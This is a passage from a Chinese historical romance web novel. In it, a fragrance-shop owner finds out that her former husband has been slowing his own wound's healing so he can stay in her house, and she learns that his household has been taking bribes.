从青州回来后,为了感谢当年长公主曾对徐家施以援手,他在长公主的行宫中研习了三年,寻遍了古籍药方,终于为生来体弱多病的永嘉郡主调制了一剂良药。
眼看这几年她的身体比之前越来越好,已有病愈的趋势,若是此时高烧不退,只怕调理了几年的效果会功亏一篑,甚至会有
一想到永嘉郡主可能会出现的最坏的结果,他的心便沉了下去。
本着医者救人为先的责任,他一息也没有犹豫,“瑶瑶,这些日子我不能来看你了,若是有事,打发人去长公主的府邸给我送信。”
目送他扬鞭纵马离开校尉胡同,修长挺拔的背影很快消失在视线中,苏云瑶心情酸涩地叹了口气。
她早该想到的。
艾草薄荷,原来是以前他随手送给病患驱蚊除晦的药物,而那放在香囊中的寻常普通的香饼,于永嘉郡主来说却有特殊的意义。
投我以木瓜,报之以琼瑶。
她不辞劳苦亲自动手做艾草薄荷饼,是为了送给徐长霖,而他一心治病,可能根本不知道其中的意义,所以他送到苏宅的八珍蜜枣丸,还沾染了艾草薄荷的香味。
永嘉郡主生病了,她希望她尽快好起来,而徐神医
想到徐夫人一心想要他娶个官宦之家的女儿,而徐长霖又是个十分孝顺的人,苏云瑶不由苦笑了下。
算了,她现在一心只想经营好自己的香铺,其他的,顺其自然吧。
傍晚时分,暮色四合,苏宅的厨房中又升起了袅袅炊烟。
白日间该炖的参骨汤,因为被做鱼的人占用了锅灶,只炖了一半。
此时厨娘终于炖好了,苏云瑶便亲自送到了后院的厢房。
裴秉安的伤势未愈,这汤她会亲自盯着他喝完。
原因无他,她只想他的伤口早点愈合,尽快离开苏宅,好让她清净几分。
房中,裴秉安身姿肃挺地坐在桌案前,垂眸盯着一本蓝色封皮的书,一丝不苟地研读着。
缓步走近了,苏云瑶将汤轻轻放在他的面前。
“将军喝了吧。”
裴秉安合上手里的书,展眸若有所思地看向她。
徐长霖近些年行医的经历,他之前已打听得一清二楚。
他医术非凡,看诊时亦有规矩,每日诊病不过二十人,而之所以有人数的限制,是因为一日里余下的时间,他要去长公主府探望永嘉郡主。
所以,听说他不顾医务繁忙,也要住在苏宅,他便深感可笑。
只是令他不悦得是,今日目送徐长霖离开后,她似乎有些闷闷不乐。
也不知他伤愈之后,不得不离开苏宅时,她是否也会有这样的在意。
想到这里,裴秉安的唇角悄然抿直。
“怎么不喝?”耳旁响起轻柔的嗓音,蓦然拉回他的思绪。
看了一眼那参骨汤,想到它促进伤愈的功效,裴秉安默了默,道:“我不爱喝,你端走吧。”
苏云瑶不解地蹙起秀眉。
以前,那些最苦口的汤药他都能一饮而尽,这参骨汤清甜可口,怎么就不爱喝了?
“不试试怎么知道爱不爱喝?里面放了红枣和百合,都是你爱吃的。”想起他喜欢清淡的口味,她耐着性子劝道。
裴秉安抿直的薄唇,不易察觉地扬起了一瞬。
她尚记得他的喜好。
他轻咳了一声,淡声道:“既然如此,那我就喝下吧。”
亲眼看着那碗汤被他喝得一干二净,苏云瑶总算放了心。
“今晚换过药了吗?”
伤口一日要换三次药,想到李军医今日清晨留下的药,裴秉安不自在地别过脸去,避开了对面关心的视线。
“换过了。”
苏云瑶轻快地点了点头。
只要他按时换药,天天喝参骨汤,想必用不了几日,伤口便会愈合了。
“那你早点歇息,我回去了。”
她不欲多呆,端了空碗正要离开时,却突然顿住了脚步。
裴秉安住进她的宅子,什么衣裳用物都没带,她给他备了两身换洗的衣裳,都放在房中的柜子里。
“柜子里的衣裳,原是给千山做的,大了许多,应该适合你的身量,你先试试,若是短了窄了,我再让人去改一改。”
裴秉安沉沉点了点头,道:“多谢,你费心了。”
他要去换衣裳,苏云瑶便自觉关了房门,在外面等着。
一门之隔,听不到里面的动静,过了一会儿,寂静无声中,房里却突然传来咚的一下沉闷声响。
想到裴秉安受了伤,说不动会头晕乏力,忽然晕倒,苏云瑶的心一下揪了起来。
她急忙拍了拍门板,“你怎么了?有没有事?”
房里传来断断续续的虚弱声音,“跌倒了,还好
没有大碍。”
那重重跌倒的声音,一听便知摔得不轻。
生怕房里的人伤势加重,不待他再说什么,苏云瑶拧起眉头,推门走了进去。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
60-70
第61章 第61章恰是他所擅长之处。……
房内,裴秉安长腿屈起坐在榻前,一只大手撑在身侧,另一只手捂着自己的伤处,因为跌倒时扯到了伤口,英挺的剑眉紧锁,苍白的额角冒出了一层冷汗。
他刚换了中衣,还没来得及披外袍,左胸的伤口又渗出了血迹,雪白的中衣染上一抹触目惊心的血红。
苏云瑶心里咯噔一声。
才刚刚好转一些的伤势,经他这样一摔,似乎又严重了不少。
“你怎么样?好端端的,怎么跌倒了?”她提裙蹲在他身前,视线落在他的伤处,眼神里满是焦急。
裴秉安默然轻吸口气。
伤口虽在隐隐作痛,但看到她担忧的神色,一刹那,所有的疼痛都已经消失不见。
怪他太过大意了,害得她这样担心。
李军医留下的药虽可延缓伤口痊愈的速度,却也有副作用,方才他换衣裳时突觉头脑眩晕,一不留神,便跌倒在了地上。
“无事,一时有些头晕而已,没有大碍。”他风轻云淡地道。
他这样说,苏云瑶却一点儿也放心不下。
伤在心脉,非同小可,一想到那晚他高烧不退的情形,她的脸色便有些发白。
“不能掉以轻心,再请大夫来看看吧?”
说着话,她伸出手,想要拉他起来。
视线在她白皙的纤手上凝了一瞬,裴秉安下意识伸出大掌,握住了她的手。
劲挺大手严严实实包裹住了纤细的五指,干燥温暖的掌心与手背相触,熟悉的感觉与他十分熟稔的动作,让苏云瑶一时愣神了片刻。
还没等她回过神,跌倒在地的人已借力起身。
“抱歉”恍然反应过来,自己方才的举止太过唐突,裴秉安的身形僵了僵,慌忙松开了握在掌心中的纤手,“我我会错意了。”
手指还残留着他掌心的温度,苏云瑶将手背在身后,不自在地甩了几下,好将那莫名灼热的感觉赶走。
“没事,”虽然有些尴尬,但她的神情很快恢复如常,只是与他说话时,她下意识往后退了几步,与他拉开些距离,“将军现在感觉怎么样?严不严重?”
裴秉安负手而立,苍白脸色已如平常无异,“我感觉尚可,不用请大夫,你也不必担心。”
苏云瑶抬眸看了一眼他血迹斑斑的中衣,忧心没有减少半分。
本已开始愈合的伤口再次撕裂出血,血迹已经渗透了绷带和中衣,这种情况显然不容乐观。
而且,她怀疑军医署的大夫开的药,效果似乎并不怎么样。
“那再换次药吧,”因为担心他伤势加重,她的秀眉紧蹙,脸色也变得煞白不已,“若是明日还不好转,就再请大夫来看看。”
她的建议合情合理,不便再拒绝,裴秉安沉思一瞬,点了点头道:“好,我自己会换药的,天色不早了,你回去歇息吧。”
离开后院,苏云瑶默默思忖了一会儿。
她的香铺生意蒸蒸日上,此前,她每日除了去香铺打理生意,还会经常逛一逛京都的长街商铺,了解每日的香料行市。
如今裴秉安在苏宅养伤,在他伤势没有痊愈之前,她还是多留在家里,督促他按时换药服汤,好让他快些好起来。
翌日一早,苏云瑶便去了后院。
晨光熹微,东方刚泛起一丝鱼肚白,裴秉安却早已起身。
他自小习武,每日五更时分便起床练武,自律的习惯从未变过。
院中的石榴树旁,他身着黑色长袍,墨发束了个高马尾,星眸炯炯有神,脸庞一扫昨晚伤势未愈的苍白,呈现出原本的健康的冷白肤色。
他没有练刀,也没有射箭,而是如挺拔青山般屹立不动,行云流水般练起了拳法。
双拳倏然挥出时,他的眼神瞬间变得锐利如刃,拳法带着排山倒海的呼啸威势袭来时,石榴树的枝叶随之飒飒作响,一招一式之间,尽显刚猛力道。
而顷刻间,拳势收回,他的神色又变得沉冷平静如初。
只是余光瞥见院门处那抹静立未动的纤细身影,裴秉安稍稍挑起剑眉,将原本已打算练完的拳法,又从头习了一遍。
这次的拳法,特意收敛了几分刚劲的力道,又加了几招柔和的掌法。
他长臂伸展,双拳挥出,变换拳法时身形如大鹏展翅,白鹤亮相,动作沉稳又轻盈,姿态尽显优美。
目不转睛地看了他许久,苏云瑶杏眸中难掩惊诧,秀眉不可思议地蹙起。
和离之前,裴秉安习武练拳的时候,她也见过几次,却从未像这次一样——如果硬要打个比方的话,她觉得他好像不是在练拳,却像是在表演花拳绣腿?
奇怪的思绪从脑海里一闪而过,她自顾自轻轻晃了晃脑袋,将方才那莫名其妙的念头赶出。
也许他改了练拳的喜好也说不定,这不是她该关心的,她现在只在意他身上的伤势如何了。
一曲终了,看他缓缓收回最后一招拳势,苏云瑶缓步走了过去。
“将军今天好些了没有?”
裴秉安负手立在厅院中,额角挂着一层薄汗,垂眸看她走近了,他的唇角不易察觉地扬起。
“好一些了,多谢关心。”
视线在他的伤处停留了一瞬,见没再有血迹渗出,苏云瑶无声松了口气,微笑着点了点头。
“那就好,早饭做好了,一起用饭吧。”
与她同住一院,还可以一起用饭,以往是再平常不过的小事,如今,却是十分难得的机会。
神色毫无波澜地坐在案前用饭,裴秉安的心绪却如波涛般起伏不休。
用饭时,苏云瑶没动别的,只吃了一碗红枣糯米粥。
她用调羹慢慢舀着粥饭送入口中时,裴秉安默然看了片刻,欲言又止。
这红枣糯米粥,以前也见她吃过,后来他才知道,她服用的粥饭,爱吃的甜腻的蜜饯零嘴,都是为了防止因饥饿而产生眩晕之症。
和离之前,一位老大夫给她把脉看诊,曾说过让他为她熬煮八珍汤服用一年,因气血不足而导致的眩晕症状,便有望缓解。
只是,他还未来得及告诉她这副药方,他们便签下和离书,分道扬镳了。
“气血不足的病症,没有看大夫吗?”沉默许久,他终于忍不住道。
苏云瑶意外地愣了片刻。
没想到,他竟知晓她有眩晕的病症。
这份迟来的关心,让她莫名有些感动。
想了想,她从荷包里倒出来几颗八珍蜜枣丸,托在掌心中,让他看了几眼。
“徐神医给我开的医方,坚持服用半年,眩晕的毛病便能痊愈了。”
那颗颗饱满圆润的褐色蜜枣丸,如鸟卵般大小,散发着清甜芬芳的味道,一看便是医者精心研制。
沉默数息,裴秉安悄然移开视线,英挺的剑眉紧锁,长指若有所思得轻叩着桌案。
在他不在她身边的时候,那个与她青梅竹马的徐大夫趁虚而入,处处表现,实在是个强有力的劲敌。
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傍晚时分,苏千山突然从学院回了苏宅。
书院的武先生患病,不得不给学生放了长假。
开春三月的武举考试迫在眉睫,回到家中,苏千山便去了院中的靶场练箭,没敢松懈片刻。
可武举要考骑射程文,在书院学了大半年,他觉得自己箭法虽有精进,但骑术与程文都平平无奇。
天色晚了,堂弟还在一丝不苟地练箭,苏云瑶既欣慰他的努力,却也十分发愁。
先生病了,一时半会儿也难找到合适的武举师傅,错过今年的参试,就得再等两年了。
给裴秉安送参骨汤的时候,一直在思忖着堂弟武举考试的事,苏云瑶有些神思不属。
端着参汤进门时,冷不防被门槛绊了一跤。
汤碗忽然从她手里的托盘上滑落,若非一只劲挺大手及时接住,恐怕参汤得泼满一地。
苏云瑶猛地回过神来,急忙上下打量了对面的几眼,才发现,参汤虽没都泼出来,但溢出的部分汤汁,却洒到了裴秉安的衣袖上。
她又急又窘,赶忙掏出绣帕,轻轻擦了擦他的袖子。
“你没烫到吧?”
那参汤温度不热不凉,裴秉安
沉声道:“没事,你刚才在想什么?”
方才走神是在想堂弟武举的事,但这是苏家的事,与旁人无关,苏云瑶不打算与他细说。
“没什么,你的伤口怎么样了?”他在苏宅养了两日伤,她现在只想知道他的伤势有没有在好转。
裴秉安沉沉看了她一眼,忽地以拳抵唇轻咳了一声,心虚地避开了她的视线。
“应该好转了一些。”他含糊地说。
苏云瑶思忖着点了点头,道:“那明日将军可以回府了吗?”
裴秉安沉默了一瞬。
“我突然觉得有些头晕,”他伸出长指按了按额角,再开口时,嗓音也变得干哑了几分,“伤势时而好转,时而变坏,反复不定,现在我还不能回去。”
他伤势未好,苏云瑶也不便赶他走,毕竟当初是他出手相救,她没有不感激他的道理。
亲眼盯着他躺着榻上,试了试他的额温,确认没有起烧热的迹象,她才不太放心地离开。
只是,她轻盈的脚步声刚离开后院,裴秉安便撩开锦被下了榻,无声去了前院。
清朗月色下,前院的靶场中,一个高大挺拔肌肤黝黑的少年默不作声地练着箭。
他拉紧弓弦,一箭一箭射出,时而正中靶心,时而偏离三寸,虽有箭法天分,却不够精准沉稳。
苏千山要参加武举,他不在书院练箭,却回到了家中,应该事出有因。
想到苏云瑶方才心不在焉的情形,裴秉安瞬间了然。
骑射程文,恰是他所擅长之处,饶是那位徐神医医术再好,于这方面来说,定然一窍不通。
寂然无声的夜色中,他一拂袍袖,大步流星地朝靶场走了过去。
第62章 第62章这瓶药,与她先前见过的……
清晨,第一缕和煦的日光穿透云层洒向苏宅时,院中的靶场上,两道挺拔的身影,早已习箭多时。
微风拂过,一道利箭忽地破空射出,轻啸的铮鸣声倏然响起,箭簇精准地正中靶心。
“立身要挺,拉弓要稳,辨风向是顺是逆,估风速是急是缓,只要对这些了如指掌,拉弓射箭便会百发百中,不会失了准头。不管是应举考试,还是征战杀伐,都是一样的道理,只要对你要做的事了然于胸,知己知彼,便会百战不殆。”
苏千山挽着弓箭,抬袖抹去黝黑脸庞上豆大的汗珠儿,脖颈倔强地挺直一会儿,抿唇点了点头。
对于前姐夫一针见血的指正,他受教的同时,心里却也有些不高兴。
不高兴并非是因为前姐夫的指点,而是,前姐夫受伤住在堂姐的家里,让他觉得他居心不良。
“集中精力练习,若再用心不专,加罚百遍!”
看到苏千山眼神飘忽了一瞬,裴秉安立时剑眉拧起,拿出平时校场练兵的严肃态度斥道。
他威势迫人,比学院的武先生还严厉百倍,苏千山抿紧了唇,一声不吭地挽弓射箭,压下心头的疑虑,不再胡思乱想。
清早起来,对镜梳完长发,苏云瑶还没出屋,青桔便兴冲冲地跑了进来。
“小姐,将军在教千山练箭呢!你去看看吧!”
苏云瑶愣了会儿,“何时开始的?”
青桔眨巴着眼睛回想了一番,“昨晚就开始了,他们练了两个时辰才去睡觉,今天早晨天还未亮,便又开始了!”
她之所以知道的那么清楚,是因为她昨日白天睡多了,晚上睡不着觉,趁小姐沉睡的时候,偷偷跑到院里舞枪弄棒,才发现的!
匆忙去了跨院里的靶场,苏云瑶缓步走近时,下意识屏住了呼吸。
靶场上,堂弟身姿笔挺地挽弓搭箭,凝神聚力,一连十箭,箭无虚发,次次正中靶心。
堂弟虽有天分,但短短几个时辰箭术又突飞猛进,功劳非裴秉安莫属。
苏云瑶缓缓深吸一口气,既觉欣慰高兴,又颇为头疼地按了按额角。
他先是救了她与青桔,又要给堂弟授学,这份天大的人情,她简直不知怎么才能还清了。
听到熟悉的轻盈脚步声,裴秉安负手而立,身姿不动如山,薄唇却悄然勾起一抹轻浅的弧度。
“将军,借一步说话。”苏云瑶小声道。
他回眸,恍若刚刚发现她来到了近前,神色淡然地点了点头。
离开靶场几步距离,他垂眸看着面前的人,沉声道:“有事要对我说?”
苏云瑶纠结了一会儿,视线落在他左胸的伤处,道:“你伤势怎样了?”
裴秉安虚虚按住伤口,剑眉蓦然拧了起来,“感觉比昨晚稍好了一点儿,但依然有头晕目眩的症状。”
听到他这样说,苏云瑶的心揪了起来,忙道:“今日再请大夫来瞧瞧吧,总不见好转,莫不是伤药不对症?”
“不必,这等伤筋动骨的伤势,不会好转那么快,且得需要养上一段时日才行,”裴秉安顿了顿,突然以拳抵唇重重咳了几声,“莫不是,我住在这里叨扰你了?若是这样的话,我还是搬到军医署去吧”
在军医署那样的地方养伤,如何让人放心?
再者,他住在这里养伤,还趁着闲暇之时给堂弟教习箭术,现在把他赶走,自己不是成了忘恩负义之人了?
苏云瑶急忙摇了摇头,“没有叨扰,你且安心在这里养伤,不要多想。”
得到她这样的承诺,裴秉安剑眉微微扬起,清了清嗓子沉声道:“既然如此,那就麻烦你了。”
一连数日,苏千山的骑射程文越来越好,裴秉安的伤势却时而好转,时而恶化。
苏云瑶的心弦一直紧绷着,连香铺都没怎么去,为防万一,还抽出大部分时间守在他身旁。
这日刚用了早饭,刘信打发人来给她送信儿,说是那只戒指查出了眉目,请她去一趟铺子。
到了凝香坊,苏云瑶去了二楼的账房,摒开旁人,刘信将崔大世留下的翡翠戒指拿了出来。
“小姐,这戒指出自城南坊一家叫做珍宝阁的首饰铺,我去铺子里看过了,这翡翠戒指是他们铺子独有的,值上千两银子。”
听到这间铺子的名字,脑海中突地想起一事,苏云瑶若有所思地蹙起了秀眉。
这珍宝阁是林家的产业。
林家是何来头?那是太子殿下的外祖家。
暂且抛开这层关系不说,陆国公府的庶长女,即陆凤灵的庶姐,裴秉安的大表妹,嫁给了林相的长子林启盛。
他没有做官入仕,而是将生意做得风生水起,产业遍布各行,这珍宝阁的东家就是他。
她之所以记得这么清楚,是因为当初她在裴府时,裴秉安的这位连襟妹夫,曾在年节时,往裴府送了一箱金银玉石做年礼。
裴秉安不受外礼,她的想法与他一样,那太过贵重的厚礼,她当即打发人送了回去。
当时她曾纳罕过,裴秉安看不惯亲舅宠妾灭妻的做法,与陆家少有往来,至于林家,他除了与林相朝堂共事,与那位表妹夫根本没什么私交。
不过,此后林家没再往裴家送过重礼,这件事,她便慢慢淡忘了。
经刘信这样一查,回忆罢往事,想到崔大世那满身的金银珠宝,苏云瑶又拧起了眉头。
正在她喝着茶沉吟出神时,楼下忽然传来了不同寻常的动静。
很快,有个女伙计跑上楼来,叩门进了雅室。
看到刘信与苏云瑶,她着急地说:“掌柜,东家,上次那个喝醉了酒买咱们铺子算盘的男子又来了,挑三拣四吆五喝六的,扬言要砸了香铺。”
刘信冷笑一声,握紧了双拳。
自香铺名声大噪,生意越来越好后,每过段日子就有来胡乱生事的。
他先礼后兵,若是对方敬酒不吃吃罚酒,他这双拳头,也不是好惹的。
“小姐,我去招待招待他。”
还没等他大步跨出房门,苏云瑶掸了掸衣襟起身,温声道:“我去吧。”
留下了崔大世的戒指,就是为了等他再来这一日,既然他来了,她自然要会一会。
凝香坊一楼的柜台上,摆放着苏荷香与清味香,有线香、盘香、香丸与香饼
几种样式供顾客挑选,除了这两味镇店之宝,柜台里还有贵重一些的香料,如灵白、沉香、檀香与龙涎香等。
只是这些香饼与香料,崔大世通通都看不上眼,他翘着二郎腿坐在店中央的椅子上,两只鼻孔朝天,不屑地冷笑着。
“你们香铺名声在外,我以为那香饼有多好,没想到,连大爷我熏衣裳的普通香料都比不上,就这还好意思说是镇店之宝?今天不拿出让我满意的香料来,我砸了你们的破店!”
他分明是在找事,几个女伙计没见过这样狂妄自大的顾客,彼此面面相觑,不敢多说什么。
气氛紧张凝滞中,隔着轻纱看了几眼崔大世,确认他没有醉酒,苏云瑶缓步走了过来。
这次他十分清醒,却到香铺来无中生事,处处刁难,必然是有原因的。
若非是有人故意打发他来惹事,便是因为之前价值千两的戒指换了把铁算盘,他后悔了。
只不过,当时当着众人的面用戒指换算盘,现在反悔无用,他总得找个由头讨回来。
思忖片刻,苏云瑶微微一笑,将那枚翡翠戒指放到他面前,轻声道,“公子,你的戒指,还请收好。”
看了眼自己价值千两的宝石戒指,崔大世愣了一愣。
穷人乍富,醉酒时财大气粗打水漂的银子,清醒后,他后悔地捶胸顿足。
今儿来,他就是借机要回自己的戒指,没想到,还没等他发作,眼前的人倒乖觉,先一步奉了上来。
“公子相貌堂堂,气宇轩昂,一看便不是普通人,那日公子喝醉了,小店留下公子的信物,正是期待今日公子再次光临,还请公子移步楼上,喝杯清茶,慢慢挑选香料。”
眼前的女子戴着帷帽,嗓音轻柔,几句褒奖的话砸下来,崔大世伸出戴着金光闪闪戒指的手摸了摸丑陋的疤脸,深觉受用。
“好,大爷去楼上挑选,有什么好的,都给我送上来。”
到了雅室,苏云瑶亲手拿了几味香饼,放到了桌子上。
只不过,那香饼放在眼前,崔大世鼻子不通气,闻不出什么味儿来,反倒是盯着那白皙纤细的手,下意识舔了舔唇。
面前的女子戴着帷帽,一层轻纱遮着面容,让他看不真切,但他莫名觉得,她的婀娜身段,动听嗓音,与裴将军的那个前妻有几分相似。
那个女人生的貌美,他只见过一回便念念不忘。
只可惜他辈分低,家境差,与她有着天壤之别,连多看她一眼,都觉得是冒犯。
可现在不一样了,仗着裴家的势,还有姑姑送来的银钱,他现在是腰缠万贯的人物,底气足得很。
眼前这个小娘子的手,他摸上一摸,也不怕她叫喊出声来。
这样想着,崔大世咧嘴嘻嘻一笑,粗短的五指往那只纤手旁移去。
察觉到他的动作,苏云瑶不动声色地收回了手,秀眉嫌恶地皱了皱。
“公子姓崔?”忍着恶心,她微笑问道,“我见识浅薄,没听说过崔家,只记得先前裴大将军府上有位姓崔的娘子,曾到小店买过香饼。”
崔如月自然没有来过,她说这话,不过是为了将话头引到她身上去。
果然,崔大世半点不妨,嘻嘻笑着道:“姑娘,这样来说,咱们早有缘分!你说的那位崔娘子就是我姑姑,她是裴大将军的弟媳,现在整个裴府都归她管,什么事都是她说了算,你认识我,就认识了我姑姑,也就相当于认识了裴大将军,以后,你的香铺有我给你撑腰,生意会越来越好!”
他说着,便急不可耐地凑了过来,苏云瑶忽然起身端走了茶盏,道:“公子,稍等,茶凉了,我倒些热茶。”
背对着他,重新倒了盏热茶,苏云瑶神色如常地放到他面前,微微笑了笑。
“公子,实话实话,在京都做生意不容易,我正发愁背后没有大树可以依靠,以后有公子能够为小店撑腰,我实在三生有幸,”说着,她话锋突地一转,满是好奇地问,“公子是见过世面的人,我却不一样,裴大将军的名字如雷贯耳,我见都没见过,他这么大的官职,裴府是不是坐拥金山银山,富得流油呢?”
崔大世嘿嘿一笑,得意地挥了挥金灿灿的五指,“那还用说?就这些,都是我姑姑随手送给我的,那才只是冰山一角,他府里还有许多宝贝呢,以后我带你去开开眼。”
苏云瑶勾了勾唇,道:“公子喝口茶,慢慢与我细说。”
喝了半盏茶,崔大世嘀咕了几句,却忽然咚的一声,昏昏沉沉地趴到了桌子上。
转眼间,打雷似的鼾声在房内响起,他呼呼睡了过去。
苏云瑶摘下帷帽起身,拧眉看了他几眼。
茶盏里放了些蒙汗药,够他睡半个时辰了。
“等他睡醒了,找个借口打发他离开。”
吩咐完刘信之后,她便坐车回了苏宅。
回去的路上,下意识摸着手腕上的绿玉镯,苏云瑶一直在默默思忖。
朝堂上的事,她尚不了解,但无事献殷勤非奸即盗,林家往裴家送厚礼,崔如月视财如命,不知收了多少东西,收人钱财便是受贿,那就相当于将把柄递到了别人手中。
想到先前裴秉安惩治了常家少爷,连太子殿下的面子都没给,苏云瑶便有些担心。
好在她发现得及时,这件事,应该还有回转的余地。
一回到宅子,她便赶紧去了后院。
不过,推开厢房的门,却不见裴秉安的影子,不知他去了哪里。
正打算离开厢房,去外面找他时,苏云瑶的脚步忽地一顿,秀眉疑惑地抬了起来。
那靠近窗户的桌案上,放着一只玉白瓷瓶。
那瓷瓶里原是盛放伤药的,此前在军医署时,李军医开的正是这样的药,她见过。
只是,她记得清清楚楚,那瓷瓶是浅棕色的木头瓶塞,而这只瓷瓶的瓶塞却是红褐色的。
这瓶药,与她先前见过的那瓶,难道不一样?
犹豫几瞬,她轻步走了过去。
第63章 第63章再也不肯与他相见了。……
瓷瓶里的药粉,散发着苦涩的味道,仅剩下了一点儿,与之前的伤药,气味截然不同。
苏云瑶轻轻嗅了一会儿,秀眉蹙了起来。
想到裴秉安时好时坏的伤势,一个怀疑的念头莫名从她的脑海中冒出。
屋外忽然响起沉稳的脚步声。
没多久,裴秉安大步流星地跨进门槛,神色轻松地走了进来。
早在他进房前,苏云瑶已将伤药放回了原处。
此时,她将他的锦袍抻平了挂在衣架上,动作仔细而轻柔,就像没和离之前,她每次帮他解开外袍,将衣袍放置起来那样。
这样平淡温馨的情景,让裴秉安一时生出了某种错觉。
好像这个家中只有他们两人,没有外人打扰,他们一直过着这种普通而温情的生活,夫唱妇随,恩爱和美,根本没有和离过。
默然片刻,沉甸甸的视线望着眼前的纤细身影,裴秉安阔步上前,低声道:“云瑶。”
似乎刚刚察觉到他进房,苏云瑶讶异地扬起秀眉,抬眸打量了他几眼。
他白皙的额角挂着一层薄汗,因为胸口的伤势,左臂不便抬起,只能握拳置于身后,身形却依然笔直挺拔。
她掏出绣帕,示意他擦一擦额头的汗珠。
“将军刚才去哪里了?”
她的绣帕,边角绣着几朵紫薇花,散发着独属于她的清淡幽香,裴秉安攥在掌心中,垂眸沉沉看了几眼。
“带千山去骑马了,你找我有事?”
苏云瑶神色复杂地点了点头。
他住在这里养伤的同时,还在指点堂弟的课程,这让她十分感激。
可想到那瓶伤药
“将军该换药了吧?”她微微一笑,温柔地说,“将军辛苦了,今天我来给你换药吧。”
说着,没有给他留下拒绝的机会,她便轻轻拍了拍面前的椅背,示意他坐下。
她的举止那样自然,就好像这是再寻常不过的一件小事,
裴秉安迟疑一瞬,坐在了椅子上。
“可是这瓶伤药?”苏云瑶从桌案上拿起药瓶,缓步走到他身旁。
那伤药,她应该不知道是何作用,裴秉安别过脸去,不自在地点了点头。
悄然捏紧手里的药瓶,苏云瑶垂下长睫,轻声道:“将军把外袍解开吧。”
脱下外袍,解开中衣,精壮结实的胸腹袒露出来,左胸上方,一条大约三寸长的蜿蜒丑陋的伤口赫然现出。
苏云瑶目不斜视地盯着那道伤口,眼睛像被猛然刺痛了一下,泪水差点难以抑制地夺眶而出。
自他那日受伤后,只给他上过一次药,那次伤处血迹斑斑,她整个人处于慌乱中,不曾觉得害怕。
现在看到这伤处,想到那日他的伤势如此凶险,她紧紧咬住了唇,才勉强让自己镇定下来。
“疼吗?”将药粉均匀地撒在他的伤口,她吸了吸鼻子,轻声问。
“莫要担心,区区小伤,何足挂齿?”
裴秉安一双大掌握拳置于膝上,神色如平常般沉冷无波,只是一双黑沉的眸子,始终目不转睛地盯着眼前的人。
看到苏云瑶担心他的伤势,他暗自庆幸自己招数高明,又生怕被她发现真相而隐隐觉得有些不安。
住在她的宅子足有半月之久,他身上的伤势快要好全,这伤药几乎用尽,已无法再拖延太久。
想要与她说的话,他不能再憋在心里了。
否则,万一那个徐大夫先他一步,他只能后悔莫及。
“云瑶,”裴秉安默然深吸口气,劲挺的大手忽然握住了她纤细的手腕,“有一句话,我一直想对你说”
手腕一紧,苏云瑶蓦然愣住,一双杏眸微微瞪大,疑惑地看着对面的人。
深深凝视着眼前的人,裴秉安沉声道:“你我和离的这些日子,每日每夜,我都辗转难眠”
他顿了顿,长指悄然握拳,默默鼓足了勇气。
“云瑶,裴府离不开你,府中长辈和弟妹还需要你照顾,中馈也需要你打理,我我也离不开你,我们和好吧。”
愣了一会儿,视线落在他的伤处,只见那本已愈合的丑陋伤口,竟开始缓慢地渗出鲜血,苏云瑶倏然拧紧了秀眉。
果然,她猜测得不错,他的药分明有问题!
之前她便怀疑过,以他的身手对付那几个匪贼,不该在胸腹要害之处受这么重的伤,加之他舍近求远,偏要去军医署看伤,以及那个李军医敷衍塞责的举动
宋婉柔离开了裴府,他身边无人照顾,他处心积虑地接近她,就是为了让她重回裴府当他的贤妻,为了这个目的,他竟然拿自己的性命开玩笑!
苏云瑶猛地甩开了他的手。
因为被他欺骗这么久,她又急又气,怒气一下窜到了头顶,身体都因生气而微微发抖起来。
她本想大声骂他几句,可他身上的伤口不是假的,她瞪大眼睛死死盯着他,一开口,豆大的泪珠情不自禁地滚滚落了下来。
“你怎么能骗我?”
害她日夜提心吊胆,怕他一命呜呼,害她这些天寝食难安,每天都挂念他的伤势。
“你走吧,我不想再见到你!”
看到她气急而泣,裴秉安手足无措地握了握长指。
成亲那三年,她在他面前从来都是温柔乖顺言笑晏晏的,他从来没见过她生气垂泪的模样,一时之间,他不知该如何应对。
“云瑶,别哭了,是我不好。”暗悔自己不该使用苦肉计,裴秉安神色罕见地慌乱了几分。
他摸出帕子,想要为她擦一擦眼泪,可眼前的人早已退后了几步,与他保持着疏离冷淡的距离。
“裴将军,你怕是忘了,我们早已和离了,”苏云瑶抬手抹去脸颊的眼泪,竭力让自己尽快镇定下来,“我从来没想过再回裴府,也不会再与你和好,你我井水不犯河水,以后再也不要有任何瓜葛!”
“云瑶”
裴秉安想要上前一步,但看到她冷漠而戒备的眼神,便悄然顿住了脚步。
胸膛沉闷地起伏数息,喉头似被酸涩地哽住,半晌,他才艰涩地吐出几个字。
“抱歉,是我自作多情了。”
苏云瑶冷冷别过脸去,不再看他一眼。
“那天你救了我与青桔,住在这里的日子,你还教授了千山不少本事,虽说你骗了我,论理来说我还是欠你情分。不过,近日我发现你府里有人收受林家的金银,告诉你这件事,那我便还了你的情分,不欠你什么了。”
“自此以后,我与将军,再不必相见了。”
~~~
夜色沉沉,静思院中漆黑一片。
院中的南书房,亮着微弱的幽冷烛光。
裴秉安负手立在窗前,身形如被冻住的石像般,良久未动一下。
李军医从边境回来,带来了赵将军的口信,可如实说完之后,眼前的人似没听见一般,没有任何反应。
“边境军的军粮,历来都是从临近州县的粮仓运送过去,这几年,军粮年年不足,原以为是朝廷拨给的数量不够,可今年军粮非但不足,还大都生霉,显然是以次充好,赵将军顺藤摸瓜查去,才发现”
重复了一遍,对面的人仍然不见动静,李军医无奈啧了一声,“早说过了,要你慎重,现在被人发现赶出门来,不是自作自受?”
闻言,裴秉安转过身来,唇角抿直,一言不发地盯着他。
那锐利沉冷的视线沉甸甸似有实质,李军医只觉身上冷飕飕的,忙道:“算了,是我多嘴,我不该说,行了吧?”
国事为重,个人之事,当置于之后。
沉默片刻,裴秉安道:“赵将军调查的证据呢?拿给我看。”
李军医打开药箱,从箱子夹缝里摸出厚厚一沓盖了红印的粮册,他打着去巡诊的名义去了边境,不曾引人注意,这些证据才能安然无事地带回来。
翻阅了几页粮册,裴秉安的脸色越来越沉,几乎像覆了层冰霜。
大雍朝国库吃紧,军费不足,每每提及此事,林相总是长吁短叹,忧心忡忡,谁知他道貌岸然,竟纵容其子染指军粮,牟取暴利,中饱私囊。
不过,想到苏云瑶提及裴府有人收受林家财物,裴秉安神色一凛,剑眉几乎拧成了一团。
她绝无虚言,定然是已查到了什么。
后宅之事,他一向甚少理会,自与苏氏和离之后,裴府中馈皆交于弟媳崔氏打理,他更是没有过问过。
沉思许久,他差人将庶弟裴文仲叫了过来,当面质问。
